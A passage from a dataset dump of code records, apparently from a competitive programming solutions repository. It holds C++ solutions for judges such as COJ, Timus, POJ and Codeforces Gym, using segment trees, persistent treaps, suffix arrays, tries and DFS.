pace=1&num=1846\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n;\r\nchar tipo[N];\r\nint a[N], c[N];\r\nvector<int> b;\r\nint cnt[N];\r\n\r\nint T[4 * N];\r\n\r\nint gcd(int a, int b) {\r\n\tif (a == 0 && b == 0) {\r\n\t\treturn 0;\r\n\t}\r\n\tint tmp;\r\n\twhile (b != 0) {\r\n\t\ttmp = a % b;\r\n\t\ta = b;\r\n\t\tb = tmp;\r\n\t}\r\n\treturn a;\r\n}\r\n\r\nvoid update(int x, int l, int r, int p, int v) {\r\n\tif (p < l || p > r) {\r\n\t\treturn;\r\n\t}\r\n\tif (l == r) {\r\n\t\tT[x] = v;\r\n\t} else {\r\n\t\tint m = (l + r) >> 1;\r\n\t\tupdate(2 * x, l, m, p, v);\r\n\t\tupdate(2 * x + 1, m + 1, r, p, v);\r\n\t\tT[x] = gcd(T[2 * x], T[2 * x + 1]);\r\n\t}\r\n}\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> tipo[i] >> a[i];\r\n\t\tb.push_back(a[i]);\r\n\t}\r\n\tsort(b.begin(), b.end());\r\n\tb.erase(unique(b.begin(), b.end()), b.end());\r\n\tint sz = b.size();\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tc[i] = upper_bound(b.begin(), b.end(), a[i]) - b.begin();\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (tipo[i] == '+') {\r\n\t\t\tif (cnt[c[i]] == 0) {\r\n\t\t\t\tupdate(1, 1, sz, c[i], a[i]);\r\n\t\t\t}\r\n\t\t\tcnt[c[i]]++;\r\n\t\t} else {\r\n\t\t\tif (cnt[c[i]] == 1) {\r\n\t\t\t\tupdate(1, 1, sz, c[i], 0);\r\n\t\t\t}\r\n\t\t\tcnt[c[i]]--;\r\n\t\t}\r\n\t\tif (T[1] == 0) {\r\n\t\t\tcout << \"1\\n\";\r\n\t\t} else {\r\n\t\t\tcout << T[1] << \"\\n\";\r\n\t\t}\r\n\t}\r\n}" }, { "alpha_fraction": 0.42514970898628235, "alphanum_fraction": 0.443113774061203, "avg_line_length": 19.782608032226562, "blob_id": "8951afcbf47e698c7de047147ea254046112f46b", "content_id": "ec3a3907a065f383419053828dc2903822e31eed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 501, "license_type": "no_license", "max_line_length": 65, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p1857-Accepted-s486423.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\ndouble a,b,c,p,A,r;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%lf%lf%lf\",&a,&b,&c)!=EOF)\r\n {\r\n if(2*max(a,max(b,c))==a+b+c)\r\n printf(\"The radius of the round table is: %.3f\\n\",0);\r\n else\r\n {\r\n p=(a+b+c)/2.0;\r\n A=sqrt(p*(p-a)*(p-b)*(p-c));\r\n r=(2.0*A)/(a+b+c);\r\n printf(\"The radius of the round table is: %.3f\\n\",r);\r\n }\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.37358489632606506, "alphanum_fraction": 0.3874213695526123, "avg_line_length": 14.22449016571045, "blob_id": "97ad1a636842b1324554096fdff9cdc5c9e11448", "content_id": "de0195d71885832916cf5ea06cb89617253b3daf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 795, "license_type": "no_license", "max_line_length": 40, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p3462-Accepted-s893234.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10005;\r\n\r\nint t;\r\nint n;\r\nint s[N];\r\nvector <int> g[N];\r\n\r\nbool dfs_mark[N];\r\n\r\nvoid dfs(int u) {\r\n\tdfs_mark[u] = true;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n if (!dfs_mark[g[u][i]]) {\r\n dfs(g[u][i]);\r\n }\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tg[i].clear();\r\n\t\t\tdfs_mark[i] = false;\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> s[i];\r\n\t\t\tif (i != s[i]) {\r\n g[s[i]].push_back(i);\r\n g[i].push_back(s[i]);\r\n\t\t\t}\r\n\t\t}\r\n\t\tint ans = 0;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tif (!dfs_mark[i]) {\r\n\t\t\t\tdfs(i);\r\n\t\t\t\tans++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.377114862203598, "alphanum_fraction": 0.39759573340415955, "avg_line_length": 16.63900375366211, "blob_id": "77b5e16e688f204933079e6a429ff071f3f558c8", "content_id": "8fa08b9e283c435fbb7f18868e1996df1400bbb9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4492, "license_type": "no_license", "max_line_length": 78, "num_lines": 241, "path": "/Caribbean-Training-Camp-2017/Contest_2/Solutions/G2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nstruct node;\r\ntypedef node* pnode;\r\nstruct node{\r\n int size;\r\n int value;\r\n pnode l, r;\r\n\r\n node(){}\r\n node( int value ){\r\n this->value = value;\r\n size = 1;\r\n l = r = NULL;\r\n }\r\n};\r\n\r\nint SIZE( pnode t ){\r\n return t == NULL ? 0 : t->size;\r\n}\r\n\r\nvoid update( pnode t ){\r\n if( t == NULL ){\r\n return;\r\n }\r\n\r\n t->size = SIZE( t->l ) + 1 + SIZE( t->r );\r\n}\r\n\r\nint CNT_NODE = 0;\r\nnode nodes[10001000];\r\npnode newnode( int v ){\r\n nodes[++CNT_NODE] = node(v);\r\n return nodes + CNT_NODE;\r\n}\r\n\r\npnode copynode( pnode t ){\r\n if( t == NULL ){\r\n return NULL;\r\n }\r\n\r\n pnode res = newnode( t->value );\r\n res->l = t->l;\r\n res->r = t->r;\r\n res->size = t->size;\r\n return res;\r\n}\r\n\r\nconst int elio = 2000000000;\r\ninline int randint( int r = elio ){\r\n static unsigned int seed = 239017u;\r\n seed = seed * 1664525u + 1013904223u;\r\n return seed % r;\r\n}\r\n\r\nbool hey( pnode A, pnode B ) {\r\n //return SIZE(A) > SIZE(B);\r\n return (ll)(randint()) * (ll)(SIZE(A) + SIZE(B)) < (ll)SIZE(A) * (ll)elio;\r\n}\r\n\r\nvoid split( pnode t, int key, pnode &L, pnode &R, bool copie = true ){\r\n if( t == NULL ){\r\n L = R = NULL;\r\n return;\r\n }\r\n\r\n //cerr << \"key = \" << key << \" SIZE( t->l ) = \" << SIZE( t->l ) << '\\n';\r\n\r\n if( SIZE(t->l)+1 <= key ){\r\n if( copie ){\r\n L = copynode(t);\r\n }\r\n else{\r\n L = t;\r\n }\r\n split( t->r , key - (SIZE(t->l) + 1) , L->r , R , copie );\r\n update(L);\r\n }\r\n else{\r\n if( copie ){\r\n R = copynode(t);\r\n }\r\n else{\r\n R = t;\r\n }\r\n split( R->l , key , L , R->l , copie );\r\n update(R);\r\n }\r\n}\r\n\r\npnode merge( pnode L, pnode R, bool copie = true ){\r\n pnode t = NULL;\r\n if( L == NULL || R == NULL ){\r\n if( copie ){\r\n t = L == NULL ? copynode(R) : copynode(L);\r\n }\r\n else{\r\n t = L == NULL ? R : L;\r\n }\r\n return t;\r\n }\r\n\r\n if( hey( L , R ) ){\r\n if( copie ){\r\n t = copynode(L);\r\n }\r\n else{\r\n t = L;\r\n }\r\n t->r = merge( t->r , R , copie );\r\n }\r\n else{\r\n if( copie ){\r\n t = copynode(R);\r\n }\r\n else{\r\n t = R;\r\n }\r\n t->l = merge( L , t->l , copie );\r\n }\r\n update(t);\r\n return t;\r\n}\r\n\r\nvoid build_treap( pnode &t, int l, int r, int *vs ){\r\n if( l == r ){\r\n t = newnode(vs[l]);\r\n return;\r\n }\r\n\r\n int mid = ( l + r ) / 2;\r\n t = newnode(vs[mid]);\r\n\r\n if( mid > l ){\r\n build_treap( t->l , l , mid-1 , vs );\r\n }\r\n\r\n if( mid < r ){\r\n build_treap( t->r , mid+1 , r , vs );\r\n }\r\n\r\n update(t);\r\n}\r\n\r\nint n;\r\n\r\nint *vs;\r\n\r\nint pos = 0;\r\nvoid copy_treap( pnode t ){\r\n if( t == NULL ){\r\n return;\r\n }\r\n\r\n copy_treap( t->l );\r\n vs[++pos] = t->value;\r\n copy_treap( t->r );\r\n}\r\n\r\nvoid print_treap( pnode t, int pos ){\r\n if( t == NULL ){\r\n return;\r\n }\r\n\r\n print_treap( t->l , pos );\r\n pos += SIZE(t->l) + 1;\r\n\r\n cout << t->value << \" \\n\"[pos==n];\r\n\r\n print_treap( t->r , pos );\r\n}\r\n\r\nint *cnt;\r\nint *from;\r\nint *to;\r\nint m;\r\n\r\npnode check_memory( pnode root ){\r\n if( CNT_NODE >= 10000000 ){\r\n pos = 0;\r\n copy_treap( root );\r\n CNT_NODE = 0;\r\n root = NULL;\r\n\r\n build_treap( root , 1 , n , vs );\r\n }\r\n\r\n return root;\r\n}\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n cin >> n >> m;\r\n\r\n vs = new int[n+1];\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n vs[i] = i;\r\n }\r\n\r\n pnode root;\r\n build_treap( root , 1 , n , vs );\r\n\r\n cnt = new int[m];\r\n from = new int[m];\r\n to = new int[m];\r\n\r\n for( int i = 0; i < m; i++ ){\r\n cin >> cnt[i] >> from[i] >> to[i];\r\n }\r\n\r\n for( int i = m-1; i >= 0; i-- ){\r\n root = check_memory(root);\r\n\r\n pnode l, r, l2, r2, clone;\r\n\r\n split( root , to[i]+cnt[i]-1 , l , r );\r\n split( l , to[i]-1 , l2 , r2 );\r\n\r\n clone = r2;\r\n\r\n pnode l3 , r3 , l4 , r4;\r\n\r\n split( root , from[i]+cnt[i]-1 , l3 , r3 );\r\n split( l3 , from[i]-1 , l4 , r4 );\r\n\r\n root = merge( merge( l4 , clone ) , r3 );\r\n }\r\n\r\n print_treap( root , 0 );\r\n\r\n //cerr << sizeof(node*) << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.40831074118614197, "alphanum_fraction": 0.43450766801834106, "avg_line_length": 14.352941513061523, "blob_id": "e429b923f335987f1e9d25e2a881ac926b443fec", "content_id": "653987adb0e8dc8681e19049bb20939bf6c71c30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1107, "license_type": "no_license", "max_line_length": 41, "num_lines": 68, "path": "/Timus/1102-6353913.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1102\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100;\r\n\r\nstruct node {\r\n\tbool fin;\r\n\tint next[26];\r\n} T[N];\r\n\r\nint cnt = 1;\r\n\r\nvoid add(const string &s) {\r\n\tint cur = 0;\r\n\tfor (int i = 0; s[i]; i++) {\r\n\t\tchar c = s[i] - 'a';\r\n\t\tif (T[cur].next[c] == 0) {\r\n\t\t\tT[cur].next[c] = cnt++;\r\n\t\t}\r\n\t\tcur = T[cur].next[c];\r\n\t}\r\n\tT[cur].fin = true;\r\n}\r\n\r\nint t;\r\nstring s;\r\nbool dp[10000005];\r\n\r\nint main() {\r\n\tadd(\"puton\");\r\n\tadd(\"out\");\r\n\tadd(\"output\");\r\n\tadd(\"in\");\r\n\tadd(\"input\");\r\n\tadd(\"one\");\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> s;\r\n\t\tint n = s.size();\r\n\t\tfor (int i = 0; i <= n; i++) {\r\n\t\t\tdp[i] = false;\r\n\t\t}\r\n\t\tdp[0] = true;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tif (!dp[i]) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tint cur = 0;\r\n\t\t\tfor (int j = i; j < n; j++) {\r\n\t\t\t\tif (T[cur].next[s[j] - 'a'] == 0) {\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tcur = T[cur].next[s[j] - 'a'];\r\n\t\t\t\tif (T[cur].fin) {\r\n\t\t\t\t\tdp[j + 1] = true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << (dp[n] ? \"YES\" : \"NO\") << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.5246142745018005, "alphanum_fraction": 0.556943416595459, "avg_line_length": 23.303571701049805, "blob_id": "ed13e47f5da70c208c01bb2547bb4398f4689ebb", "content_id": "8a587c4dfe43a8406bf834efa74c633d0f0378be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1361, "license_type": "no_license", "max_line_length": 81, "num_lines": 56, "path": "/Codeforces-Gym/100112 - 2012 Nordic Collegiate Programming Contest (NCPC)/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012 Nordic Collegiate Programming Contest (NCPC)\n// 100112D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n;\nstring s;\nint w[105], m[105];\n\ninline int get_m(int first, int second) {\n\tint res = second <= s.size() ? m[second - 1] : m[s.size()];\n\tif (first <= s.size() && s[first - 1] == 'M') res--;\n\treturn res;\n}\n\ninline int get_w(int first, int second) {\n\tint res = second <= s.size() ? w[second - 1] : w[s.size()];\n\tif (first <= s.size() && s[first - 1] == 'W') res--;\n\treturn res;\n}\n\ninline int total(int first, int second) {\n\tif (first > s.size()) return s.size();\n\treturn get_w(first, second) + get_m(first, second);\n}\n\nint ans = 0;\n\nbool mark[105][105];\n\nvoid dfs(int first, int second) {\n\tif (abs(get_w(first, second) - get_m(first, second)) > n) return;\n\tmark[first][second] = true;\n\tans = max(ans, total(first, second));\n\tif (first > s.size()) return;\n\tif (first + 1 == second && !mark[first + 1][second]) dfs(first + 1, second + 1);\n\tif (first + 1 < second && !mark[first + 1][second]) dfs(first + 1, second);\n\tif (second <= s.size() && !mark[first][second + 1]) dfs(first, second + 1);\n\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> n >> s;\n\tfor (int i = 1; i <= s.size(); i++) {\n\t\tw[i] = w[i - 1];\n\t\tm[i] = m[i - 1];\n\t\tif (s[i - 1] == 'M') m[i]++;\n\t\tif (s[i - 1] == 'W') w[i]++;\n\t}\n\tdfs(1, 2);\n\tcout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.34264305233955383, "alphanum_fraction": 0.3630790114402771, "avg_line_length": 17.820512771606445, "blob_id": "a64ce186026a2bda4eccc81dec2e56cc76a06069", "content_id": "7e80b3ae7a6e654c3fafa8021d53b2055a65efcc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1468, "license_type": "no_license", "max_line_length": 77, "num_lines": 78, "path": "/POJ/3252.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <vector>\n#include <algorithm>\n\nusing namespace std;\n\nconst int L = 50;\n\nint C[L][L];\n\nint solve(int n) {\n if (n == 0) {\n return 0;\n }\n\n vector <int> d;\n while (n) {\n d.push_back(n & 1);\n n >>= 1;\n }\n\n reverse(d.begin(), d.end());\n\n int answer = 0;\n\n for (int l = 1; l < (int)d.size(); l++) {\n for (int zeros = 0; zeros < l; zeros++) {\n int ones = l - zeros;\n if (zeros >= ones) {\n answer += C[l - 1][zeros];\n }\n }\n }\n\n int zeros = 0;\n int ones = 1;\n\n for (int l = 1; l < (int)d.size(); l++) {\n if (d[l] == 1) { // 0\n for (int nzeros = 0; l + 1 + nzeros <= (int)d.size(); nzeros++) {\n int nones = (int)d.size() - l - 1 - nzeros;\n\n if (zeros + 1 + nzeros >= ones + nones) {\n answer += C[(int)d.size() - l - 1][nzeros];\n }\n }\n }\n\n if (d[l] == 0) {\n zeros++;\n } else {\n ones++;\n }\n }\n\n if (zeros >= ones) {\n answer++;\n }\n \n return answer;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n for (int i = 0; i < L; i++) {\n C[i][0] = C[i][i] = 1;\n for (int j = 1; j < i; j++) {\n C[i][j] = C[i - 1][j] + C[i - 1][j - 1];\n }\n }\n\n int a, b;\n cin >> a >> b;\n\n cout << solve(b) - solve(a - 1) << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3537178635597229, "alphanum_fraction": 0.3804725408554077, "avg_line_length": 16.100629806518555, "blob_id": "d2c36fb27b4b037fbcc54952a5080fc7d76f2a44", "content_id": "a34559865b4cf4a7ab222b9ffc81e27ff2ab123a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2878, "license_type": "no_license", "max_line_length": 60, "num_lines": 159, "path": "/COJ/eliogovea-cojAC/eliogovea-p1780-Accepted-s916496.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005;\r\nconst int ALPH = 256;\r\n\r\nint tc;\r\nint n;\r\nstring s, patt;\r\nint p[MAXN], pn[MAXN], c[MAXN], cn[MAXN];\r\nint cnt[ALPH];\r\nint lcp[MAXN], pos[MAXN];\r\n\r\nvoid BuildSuffixArray() {\r\n\tn = s.size();\r\n\tn++;\r\n\tfor (int i = 0; i < ALPH; i++) {\r\n\t\tcnt[i] = 0;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcnt[s[i]]++;\r\n\t}\r\n\tfor (int i = 1; i < ALPH; i++) {\r\n\t\tcnt[i] += cnt[i - 1];\r\n\t}\r\n\tfor (int i = n - 1; i >= 0; i--) {\r\n\t\tp[--cnt[s[i]]] = i;\r\n\t}\r\n\tc[p[0]] = 0;\r\n\tint classes = 1;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tif (s[p[i]] != s[p[i - 1]]) {\r\n\t\t\tclasses++;\r\n\t\t}\r\n\t\tc[p[i]] = classes - 1;\r\n\t}\r\n\tfor (int h = 0; (1 << h) < n; h++) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tpn[i] = p[i] - (1 << h);\r\n\t\t\tif (pn[i] < 0) {\r\n\t\t\t\tpn[i] += n;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < classes; i++) {\r\n\t\t\tcnt[i] = 0;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcnt[c[pn[i]]]++;\r\n\t\t}\r\n\t\tfor (int i = 1; i < classes; i++) {\r\n\t\t\tcnt[i] += cnt[i - 1];\r\n\t\t}\r\n\t\tfor (int i = n - 1; i >= 0; i--) {\r\n\t\t\tp[--cnt[c[pn[i]]]] = pn[i];\r\n\t\t}\r\n\t\tcn[p[0]] = 0;\r\n\t\tclasses = 1;\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tint mid1 = (p[i] + (1 << h)) % n;\r\n\t\t\tint mid2 = (p[i - 1] + (1 << h)) % n;\r\n\t\t\tif (c[p[i]] != c[p[i - 1]] || c[mid1] != c[mid2]) {\r\n\t\t\t\tclasses++;\r\n\t\t\t}\r\n\t\t\tcn[p[i]] = classes - 1;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tc[i] = cn[i];\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tp[i - 1] = p[i];\r\n\t}\r\n\tn--;\r\n}\r\n\r\nvoid BuildLCP() {\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tpos[p[i]] = i;\r\n\t}\r\n\tint k = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (k > 0) {\r\n\t\t\tk--;\r\n\t\t}\r\n\t\tif (pos[i] == n - 1) {\r\n\t\t\tlcp[n - 1] = -1;\r\n\t\t\tk = 0;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint j = p[pos[i] + 1];\r\n\t\twhile (s[i + k] == s[j + k]) {\r\n\t\t\tk++;\r\n\t\t}\r\n\t\tlcp[pos[i]] = k;\r\n\t}\r\n}\r\n\r\nint pi[MAXN];\r\n\r\nvector <int> Match(string &patt) {\r\n\tpatt += '#';\r\n\tfor (int i = 1, j = 0; i < patt.size(); i++) {\r\n\t\twhile (j > 0 && patt[i] != patt[j]) {\r\n\t\t\tj = pi[j - 1];\r\n\t\t}\r\n\t\tif (patt[i] == patt[j]) {\r\n\t\t\tj++;\r\n\t\t}\r\n\t\tpi[i] = j;\r\n\t}\r\n\tvector <int> res;\r\n\tfor (int i = 0, j = 0; i < n; i++) {\r\n\t\twhile (j > 0 && s[i] != patt[j]) {\r\n\t\t\tj = pi[j - 1];\r\n\t\t}\r\n\t\tif (s[i] == patt[j]) {\r\n\t\t\tj++;\r\n\t\t}\r\n\t\tif (j == patt.size() - 1) {\r\n\t\t\tres.push_back(i - (patt.size() - 1) + 1);\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nlong long Solve() {\r\n\tBuildSuffixArray();\r\n\tBuildLCP();\r\n\tvector <int> v = Match(patt);\r\n\tlong long res = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint x = p[i];\r\n\t\tif (i > 0) {\r\n\t\t\tx += lcp[i - 1];\r\n\t\t}\r\n\t\tint y = n;\r\n\t\tint z = lower_bound(v.begin(), v.end(), p[i]) - v.begin();\r\n\t\tif (z < v.size()) {\r\n\t\t\ty = v[z] + (patt.size() - 1) - 1;\r\n\t\t}\r\n\t\tif (x >= y) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tres += (long long)(y - x);\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> s >> patt;\r\n\t\tcout << Solve() << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.34870147705078125, "alphanum_fraction": 0.36066529154777527, "avg_line_length": 21.253246307373047, "blob_id": "64b303d91a1336a506672b4860300b85d8f43aac", "content_id": "0ffeda5890badfc20a88ee089fde3d1b9324df4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3427, "license_type": "no_license", "max_line_length": 68, "num_lines": 154, "path": "/Caribbean-Training-Camp-2017/Contest_2/Solutions/D2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct node;\ntypedef node* pnode;\n\nstruct node{\n int v;\n pnode ls, rs;\n\n node( int v ){\n this->v = v;\n ls = rs = NULL;\n }\n};\n\nconst int MAXN = 400100;\n\npnode roots[MAXN];\n\nvoid build_st( pnode &root, int l, int r ){\n root = new node( 0 );\n\n if( l == r ){\n root->v = 0;\n return;\n }\n\n int mid = ( l + r ) / 2;\n\n build_st( root->ls , l , mid );\n build_st( root->rs , mid+1 , r );\n}\n\npnode new_version( pnode t, int l, int r, int pos, int v ){\n pnode clone = new node( t->v );\n\n if( l == r ){\n clone->v = v;\n return clone;\n }\n\n int mid = ( l + r ) / 2;\n\n if( mid < pos ){\n clone->ls = t->ls;\n clone->rs = new_version( t->rs , mid+1 , r , pos , v );\n }\n else{\n clone->rs = t->rs;\n clone->ls = new_version( t->ls , l , mid , pos , v );\n }\n\n return clone;\n}\n\nint get_v( pnode t , int l, int r, int pos ){\n if( l == r ){\n return t->v;\n }\n\n int mid = ( l + r ) / 2;\n\n if( pos <= mid ){\n return get_v( t->ls , l , mid , pos );\n }\n else{\n return get_v( t->rs , mid+1 , r , pos );\n }\n}\n\nint diff[MAXN];\nint uni[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n int n, m; cin >> n >> m;\n\n diff[0] = 0;\n uni[0] = 0;\n\n build_st(roots[0], 1, m);\n\n string op;\n int x;\n long long s = 0LL, y;\n int last = 0;\n for (int i = 1; i <= n; i++) {\n cin >> op;\n if (op[0] == 'a') {\n cin >> x;\n int c = get_v(roots[last], 1, m, x);\n roots[i] = new_version(roots[last], 1, m, x, c + 1);\n diff[i] = diff[last];\n uni[i] = uni[last];\n if (c == 0) {\n diff[i]++;\n uni[i]++;\n } else if (c == 1) {\n uni[i]--;\n }\n last = i;\n } else if (op[0] == 'r') {\n cin >> x;\n int c = get_v(roots[last], 1, m, x);\n if (c == 0) {\n roots[i] = roots[last];\n uni[i] = uni[last];\n diff[i] = diff[last];\n } else {\n roots[i] = new_version(roots[last], 1, m, x, c - 1);\n diff[i] = diff[last];\n uni[i] = uni[last];\n if (c == 1) {\n diff[i]--;\n uni[i]--;\n } else if (c == 2) {\n uni[i]++;\n }\n }\n last = i;\n } else if (op[0] == 'd') {\n cin >> y;\n y = (y + s) % (long long)i;\n roots[i] = roots[last];\n diff[i] = diff[last];\n uni[i] = uni[last];\n s += (long long)diff[y];\n cout << diff[y] << \"\\n\";\n } else if (op[0] == 'u') {\n cin >> y;\n y = (y + s) % (long long)i;\n roots[i] = roots[last];\n diff[i] = diff[last];\n uni[i] = uni[last];\n s += (long long)uni[y];\n cout << uni[y] << \"\\n\";\n } else {\n cin >> x >> y;\n y = (y + s) % (long long)i;\n roots[i] = roots[last];\n diff[i] = diff[last];\n uni[i] = uni[last];\n int ans = get_v(roots[y], 1, m, x);\n s += (long long)ans;\n cout << ans << \"\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.3773796260356903, "alphanum_fraction": 0.4053751528263092, "avg_line_length": 14.413793563842773, "blob_id": "95f4bc5abedae3da38ade070e374dbebc20a797c", "content_id": "7cbc61c1419c91c4fd0858ee3a4b1e96004a807d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 893, "license_type": "no_license", "max_line_length": 55, "num_lines": 58, "path": "/Codeforces-Gym/101047 - 2015 USP Try-outs/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 USP Try-outs\n// 101047B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint n;\n\t\tcin >> n;\n\t\tif (n == 0) {\n\t\t\tfor (int b = 2; b <= 16; b++) {\n\t\t\t\tcout << b;\n\t\t\t\tif (b != 16) {\n\t\t\t\t\tcout << \" \";\n\t\t\t\t}\n\t\t\t}\n\t\t\tcout << \"\\n\";\n\t\t\tcontinue;\n\t\t}\n\t\tvector <int> ans;\n\t\tfor (int b = 2; b <= 16; b++) {\n\t\t\tvector <int> v;\n\t\t\tint x = n;\n\t\t\twhile (x) {\n\t\t\t\tv.push_back(x % b);\n\t\t\t\tx /= b;\n\t\t\t}\n\t\t\tbool ok = true;\n\t\t\tfor (int i = 0, j = v.size() - 1; i < j; i++, j--) {\n\t\t\t\tif (v[i] != v[j]) {\n\t\t\t\t\tok = false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (ok) {\n\t\t\t\tans.push_back(b);\n\t\t\t}\n\t\t}\n\t\tif (!ans.size()) {\n\t\t\tcout << \"-1\\n\";\n\t\t\tcontinue;\n\t\t}\n\t\tfor (int i = 0; i < ans.size(); i++) {\n\t\t\tcout << ans[i];\n\t\t\tif (i + 1 < ans.size()) {\n\t\t\t\tcout << \" \";\n\t\t\t}\n\t\t}\n\t\tcout << \"\\n\";\n\t}\n}" }, { "alpha_fraction": 0.4597495496273041, "alphanum_fraction": 0.5062611699104309, "avg_line_length": 18.964284896850586, "blob_id": "00919ce6a62c9d55fbdbb7abcfea0953a1983993", "content_id": "5d5c17b44c24818dfde1f2d355bdc1e51d92edc3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 559, "license_type": "no_license", "max_line_length": 68, "num_lines": 28, "path": "/Codeforces-Gym/100800 - 2015 United Kingdom and Ireland Programming Contest (UKIEPC 2015)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 United Kingdom and Ireland Programming Contest (UKIEPC 2015)\n// 100800B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(15);\n\t//freopen(\"dat.txt\", \"r\", 